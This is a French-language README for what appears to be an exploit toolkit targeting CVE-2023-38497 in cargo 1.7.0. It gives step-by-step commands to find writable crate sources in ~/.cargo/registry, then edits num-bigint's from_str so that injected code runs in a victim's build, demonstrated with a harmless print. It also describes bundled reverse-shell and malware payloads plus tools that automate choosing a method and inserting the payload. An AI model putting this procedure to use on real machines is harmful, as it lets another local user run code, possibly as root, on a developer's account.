
Exploit Cargo pour CVE-2023-38497
Une nouvelle vulnérabilité dans la version 1.7.0 de cargo a été découverte, comme expliqué ici.
Tout d'abord, vous devez vous assurer que votre version de cargo est vulnérable
cargo --version
Supposons que j'ai un projet cargo avec le fichier src/main.rs suivant :
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
Si j'exécute le programme :
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
Rien d'anormal ici.
Ensuite, pour toutes les crates installées sur votre système, filtrez celles dont les permissions sont mal configurées, c'est-à-dire qui peuvent être écrites par le groupe ou par tout autre utilisateur de la machine.
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
Cela donnera une liste de tous les fichiers sources Rust vulnérables. Parmi ceux-ci, choisissez le fichier adapté à votre attaque, c'est-à-dire un fichier dans lequel est définie une méthode utilisée dans le code source du projet cargo cible.
Et à partir de la liste ci-dessus, je trouve le fichier vulnérable suivant :
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
Qui, comme promis précédemment, a les permissions suivantes : -rw-rw-r--
Par conséquent, il peut être modifié par n'importe quel utilisateur du même groupe que le propriétaire du projet cargo, ce qui est effrayant. Mais imaginez que n'importe quel utilisateur puisse écrire ce fichier ; eh bien, il existe des crates avec de telles permissions.
Maintenant, vous pouvez ajouter un nouvel utilisateur à votre machine, ou utiliser un utilisateur existant autre que celui du projet, qui appartient au même groupe que l'utilisateur du fichier ciblé. Par exemple, ce fichier source sur ma machine a le propriétaire et le groupe suivants :
atreides people
et un autre utilisateur que j'ai renvoie ce qui suit en exécutant la commande id sur lui :
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
Maintenant, nous savons que l'utilisateur bob peut écrire notre fichier cible et tout autre fichier avec de telles permissions. Passez à bob et poursuivez.
En regardant notre jeu de devinettes, on voit que la méthode from_str de la structure BigInt est utilisée. Cela pourrait être une méthode intéressante à examiner.
À partir du fichier cible, j'ai extrait cet extrait de code :
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
Maintenant, que se passerait-il si vous le transformiez ainsi :
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
Et réexécutez-le en nettoyant le répertoire cible :
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
Waouh ! Imaginez que vous êtes en train d'écrire votre projet cargo et que vous recevez les messages suivants.
Notez que cela ne se produira que lorsque le répertoire cible aura été supprimé au préalable, c'est-à-dire que cargo devra compiler la crate après que vous ayez modifié le fichier source.
Ceci n'est qu'une démonstration de la façon d'exploiter cette vulnérabilité, mais imaginez si vous placez n'importe quel type de charge utile dans un fichier source. Ce dépôt vise à établir une connexion reverse shell avec le compte de l'utilisateur chaque fois qu'il exécute un projet cargo.
C'est une vulnérabilité majeure si l'on considère qu'il pourrait y avoir des installations de cargo avec des privilèges root, de sorte que la charge utile placée s'exécuterait avec de telles permissions.
Dans ce projet, vous trouverez les utilitaires suivants :
Recherche dans l'archive cargo locale et dans un projet cargo cible toutes les méthodes spécifiques qui pourraient être exploitées dans le code source de la cible. S'il y a une méthode en particulier que vous souhaitez exploiter ou si vous n'avez pas les permissions de lecture sur le projet cargo cible, ignorez le vanalyzer dans le pipeline d'attaque.
./vanalyzer/run.sh <target-project-path> <target-username>
Tous les types de charges utiles (principalement reverse shell et autres logiciels malveillants) qui peuvent être placés dans le code source d'une crate cible. Toutes les charges utiles disponibles à l'heure actuelle sont :
Shell factice qui reçoit des commandes pour exécuter l'analyseur de vulnérabilités, prendre l'une des charges utiles listées ci-dessus et une méthode sélectionnée à exploiter à partir de l'analyseur de vulnérabilités, puis intégrer (copier-coller) la charge utile dans le code source.
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok